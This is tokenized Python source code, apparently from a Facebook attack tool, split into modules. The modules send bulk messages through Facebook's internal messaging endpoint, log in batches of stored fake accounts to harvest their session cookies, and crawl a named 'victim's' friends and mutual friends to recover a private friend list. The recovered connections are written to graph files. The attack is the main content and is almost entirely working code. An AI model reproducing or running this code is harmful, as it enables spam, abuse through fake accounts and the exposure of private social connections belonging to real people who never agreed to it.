"c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "force", "\\u", "sms", "]'_", ":_", "'", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "ui", "\\u", "push", "\\u", "phase", "]'_", ":_", "'", "V3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "status", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "message", "\\u", "id", "]'_", ":_", "'<", "140", "141", "684", "078", "4", ":'_", "+_", "numero_", "+_", "'-'_", "+_", "numero", "2_", "+_", "'@", "mail", ".", "proje", "kti", "tan", ".", "com", ">'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'''", "<", "140", "141", "684", "078", "4", ":", "554", "304", "545", "-", "874", "733", "751", "@", "mail", ".", "proje", "kti", "tan", ".", "com", ">'", ",'", "''_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "client", "\\u", "thread", "\\u", "id", "]'_", ":_", "'", "user", ":'_", "+_", "page", "ID_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "client", "'_", ":_", "'", "mercur", "y", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "n", "8a", "j", "EA", "MC", "By", "n", "UK", "t2", "u", "6a", "OG", "e", "Ex", "EW", "9", "AC", "x", "O", "4", "pb", "GA", "8", "AGG", "By", "6", "C", "-", "Cu", "6", "pop", "DF", "p4", "qu", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "q", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "816", "972", "731", "1171", "558", "589", "874", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "126", "887", "6", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "mercur", "y", "/", "send", "\\u", "message", "s", ".", "php", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "en", " ", "el", " ", "modulo", " ", "de", " ", "mass", "Messag", "e", "()'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Error", " ", "en", " ", "el", " ", "modulo", " ", "de", " ", "mass", "Messag", "e", "()", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mass", "Logi", "n", "Test_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "int_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "people_", "=_", "database_", "._", "get", "User", "s", "Not", "Log", "ged_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Flu", "sh_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "master", "C", "j_", "=_", "copy_", "._", "deepcopy_", "(_", "cj_", "._", "\\u", "cookies_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "load", "Persisten", "t", "Cookie_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "person_", "in_", "people_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "login_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cj_", "._", "\\u", "cookies_", "=_", "copy_", "._", "deepcopy_", "(_", "master", "C", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "person_", "[_", "4_", "]_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log", "Test", "User_", "(_", "str_", "(_", "person_", "[_", "0_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cookie", "Array_", "._", "append_", "(_", "cj_", "._", "\\u", "cookies_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "cj_", "._", "\\u", "cookies_", "#", "DEBUG_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cj_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "percentage_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "len_", "(_", "people_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Complete", "d", " ", "[", "%", ".2", "f", "%%", "]\\\\", "r", "'_", "%_", "percentage_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Error", " ", "with", " ", "user", " ", "%", "s", "'_", "%_", "person_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cj_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Persisten", "t", "Cookie_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plot", "DOT", "_", "(_", "victim", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root_", "=_", "'", "dump", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "directory_", "=_", "victim", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mkdir_", "(_", "directory_", ",_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "graph_", "=_", "open_", "(_", "root_", "+_", "\"\\\\\\\\\"_", "+_", "directory_", "+_", "\"\\\\\\\\\"_", "+_", "victim", "_", "+_", "\"\\u", "graph", ".", "dot", "\"_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "graph_", "._", "write_", "(_", "\"", "Graph", " ", " ", " ", " ", "{\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "victim", "_", "=_", "victim", "_", "._", "replace_", "(_", "\".\"_", ",_", "\"\\u\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nodes_", "=_", "database_", "._", "get", "Nodes_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "node_", "in_", "nodes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "graph_", "._", "write_", "(_", "\"", " ", " ", " ", " ", "\"_", "+_", "victim", "_", "._", "replace_", "(_", "\"\\u\"_", ",_", "\".\"_", ")_", "+_", "\"", " ", "->", " ", "\"_", "+_", "node_", "[_", "0_", "]_", "+_", "\";", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "edges_", "=_", "database_", "._", "get", "Edges_", "(_", "victim", "_", ",_", "node_", "[_", "0_", "]_", ",_", "node_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "edge", "List_", "=_", "edges_", "[_", "0_", "]_", "[_", "2_", "]_", "._", "split_", "(_", "';'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "d_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "individual_", "in_", "edge", "List_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "individual_", "!=_", "\"\"_", "and_", "individual_", "not_", "in_", "write", "d_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "graph_", "._", "write_", "(_", "\"", " ", " ", " ", " ", "\"_", "+_", "node_", "[_", "0_", "]_", "+_", "\"", " ", "->", " ", "\"_", "+_", "str_", "(_", "individual_", ")_", "+_", "\";", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "d_", "._", "append_", "(_", "individual_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "No", " ", "edge", "s", " ", "for", " ", "%", "s", "'_", "%_", "node_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "graph_", "._", "write_", "(_", "\"}\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dot", "File", "Database_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Disc", "los", "ude", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "friends", "hip", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Al", "read", "y", " ", "visit", "ed", " ", "nodes", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "visited_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Generate", "s", " ", "the", " ", "first", " ", "level", " ", "of", " ", "the", " ", "search_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "transiti", "vo_", "=_", "get", "Name_", "(_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "transiti", "vo", "ID_", "=_", "get", "User", "ID_", "(_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "transiti", "vo", "ID_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "vo", "ID_", "=_", "transiti", "vo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "database_", "._", "add", "Node_", "(_", "victim", "_", ",_", "transiti", "vo_", ",_", "transiti", "vo", "ID_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "indiv", "id", "uo", "s_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frie", "nd", "Name_", "=_", "get", "Name_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frie", "nd", "Id_", "=_", "get", "User", "ID_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "frie", "nd", "Id_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frie", "nd", "Id_", "=_", "frie", "nd", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "database_", "._", "add", "Node_", "(_", "victim", "_", ",_", "frie", "nd", "Name_", ",_", "frie", "nd", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "._", "add", "Edge_", "(_", "victim", "_", ",_", "transiti", "vo_", ",_", "transiti", "vo", "ID_", ",_", "frie", "nd", "Name_", ",_", "frie", "nd", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "s_", "._", "append_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Counter", " ", "for", " ", "percentage", " ", "calcul", "us", " ", "purpose", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "flush_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "For", " ", "every", " ", "value", " ", "in", " ", "the", " ", "first", " ", "discl", "ose", "d", " ", "list", ",", " ", "repeat", "s", " ", "unti", "l", " ", "every", " ", "value", " ", "has", " ", "bee", "n", " ", "try", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "calcul", "us", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "len_", "(_", "friends", "hip", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Iterat", "ing", " ", "on", " ", "%", "d", " ", "of", " ", "%", "d", " ", "-", " ", "[", "%", ".2", "f", "%%", "]", " ", "complete", "d", "\\\\", "r", "'_", "%_", "(_", "i_", ",_", "len_", "(_", "friends", "hip", "s_", ")_", ",_", "percentage_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "node", " ", "was", "n", "'", "t", " ", "visit", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "if_", "friends_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "core", "Friends", "hip", "Priva", "cy", "()", " ", "fail", "s", ",", " ", "an", " ", "exception", " ", "is", " ", "cau", "ght", ".", " ", "There", "fore", ",", " ", "state", " ", "wis", " ", "still", " ", "bei", "ng", " ", "Tru", "e", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "try", " ", "pass", "es", ",", " ", "the", " ", "infini", "te", " ", "whi", "le", " ", "will", " ", "end", ".", " ", "(", "For", " ", "interne", "t", " ", "error", " ", "connecti", "on", " ", "problem", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "state_", "==_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Signal", " ", "Cau", "ght", " ", "handler", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "s", " ", "'_", "%_", "e_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "logs_", "(_", "'", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "raw", "\\u", "input_", "(_", "'\\\\", "r", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "\\\\", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "a_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "a_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "email_", ",_", "password_", "=_", "set", "Mail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "login_", "(_", "email_", ",_", "password_", ",_", "'", "real", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "frie", "nd", "Name_", "=_", "get", "Name_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frie", "nd", "Id_", "=_", "get", "User", "ID_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "frie", "nd", "Id_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frie", "nd", "Id_", "=_", "frie", "nd", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "database_", "._", "add", "Node_", "(_", "victim", "_", ",_", "frie", "nd", "Name_", ",_", "frie", "nd", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "element_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "element_", "not_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "frie", "nd", "Tra", "n_", "=_", "get", "Name_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frie", "nd", "Tra", "n", "Id_", "=_", "get", "User", "ID_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "frie", "nd", "Id_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "frie", "nd", "Id_", "=_", "frie", "nd", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "database_", "._", "add", "Node_", "(_", "victim", "_", ",_", "frie", "nd", "Tra", "n_", ",_", "frie", "nd", "Tra", "n", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "._", "add", "Edge_", "(_", "victim", "_", ",_", "frie", "nd", "Name_", ",_", "frie", "nd", "Id_", ",_", "frie", "nd", "Tra", "n_", ",_", "frie", "nd", "Tra", "n", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "s_", "._", "append_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "single", " ", "value", " ", "of", " ", "friends", "hip", "s", " ", "list", " ", "alr", "ed", "y", " ", "analyze", "d", " ", "for", " ", "non", " ", "repe", "titi", "vne", "ss_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "simple", "Dot", "Graph", "Database_", "(_", "friends_", ",_", "victim", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "friend_", "in_", "friends_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mutual", "_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "transiti", "ve_", "=_", "get", "Name_", "(_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "transiti", "ve", "ID_", "=_", "get", "User", "ID_", "(_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "transiti", "ve", "ID_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "ve", "ID_", "=_", "transiti", "ve_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "database_", "._", "add", "Node_", "(_", "victim", "_", ",_", "transiti", "ve_", ",_", "transiti", "ve", "ID_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "element_", "in_", "mutual", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mutual", "Friend", "_", "=_", "get", "Name_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mutual", "Friend", "ID_", "=_", "get", "User", "ID_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 